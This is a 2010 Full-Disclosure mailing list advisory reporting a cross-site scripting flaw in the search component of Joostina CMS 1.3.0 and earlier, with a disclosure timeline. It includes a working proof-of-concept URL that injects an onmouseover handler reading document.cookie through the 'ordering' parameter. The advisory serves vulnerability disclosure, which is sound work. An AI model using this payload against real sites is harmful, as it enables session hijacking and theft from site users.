Cross-Site Scripting vulnerability in Joostina

["MustLive" <mustlive () websecurity com ua>]

Hello Full-Disclosure!

I want to warn you about Cross-Site Scripting vulnerability in Joostina.
Joostina CMS - it's a fork of Joomla.

This vulnerability is similar to XSS vulnerability in Joomla 1.0.x found by
Aung Khant
(http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.0.x%7E15%5D_cross_site_scripting).

SecurityVulns ID: 11337.

-------------------------
Affected products:
-------------------------

Vulnerable are Joostina 1.3.0 and previous versions.

----------
Details:
----------

XSS (with MouseOverJacking) (WASC-08):

http://site/index.php?option=com_search&searchword=xss&ordering=%22%20onmouseover=alert(document.cookie)%20style=position:fixed;top:0;left:0;width:100%;height:100%;%22

------------
Timeline:
------------

2010.01.06 - disclosed at my site.
2010.01.07 - informed developers.
2010.01.07 - developers released a patch for this hole. Like in 2009, when I
informed them about other vulnerability, they fixed it very quickly.

I mentioned about this vulnerability at my site
(http://websecurity.com.ua/4818/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/